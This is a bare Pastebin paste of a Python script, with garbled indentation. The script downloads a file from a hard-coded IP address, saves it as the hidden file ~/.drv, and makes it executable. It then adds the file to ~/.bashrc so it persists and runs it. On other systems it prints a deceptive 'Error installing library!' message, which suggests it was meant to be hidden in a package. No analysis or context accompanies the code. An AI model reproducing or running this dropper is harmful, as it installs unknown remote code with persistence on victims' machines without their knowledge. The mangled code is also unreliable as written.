Advertisement
Guest User

Untitled

a guest
Nov 24th, 2017
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.26 KB | None | 0 0
  1. def rn ():
  2.  
  3.         import platform
  4.  
  5.      s = False
  6.      try:
  7.                 import urllib2
  8.      except ImportError:
  9.         import http.client
  10.         s = True
  11.         import os, stat
  12.  
  13.         PATH = "/out"
  14.      IP = "145.249.104.71"
  15.         LOC = ".drv"
  16.  
  17.         if platform.system () == "Linux":
  18.  
  19.         if not s:
  20.                         response = urllib2.urlopen ("http://" + IP + PATH).read                                                                                                                                                              ()
  21.         else:
  22.                 connection = http.client.HTTPConnection (IP)
  23.                 connection.request ("GET", PATH)
  24.                 response = connection.getresponse ().read ()
  25.                 os.chdir (os.path.expanduser ("~"))
  26.                 d = open (LOC, "wb")
  27.                 d.write (response)
  28.                 d.close ()
  29.  
  30.                 current_state = os.stat (LOC)
  31.                 os.chmod (LOC, current_state.st_mode|stat.S_IEXEC)
  32.  
  33.                 brc = open (".bashrc", "a")
  34.                 brc.write ("\n~/.drv &")
  35.                 brc.close ()
  36.  
  37.         os.system ("~/.drv")
  38.         else:
  39.                 print ("Error installing library!")
  40.                 exit (-1)
  41.  
  42. rn ()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement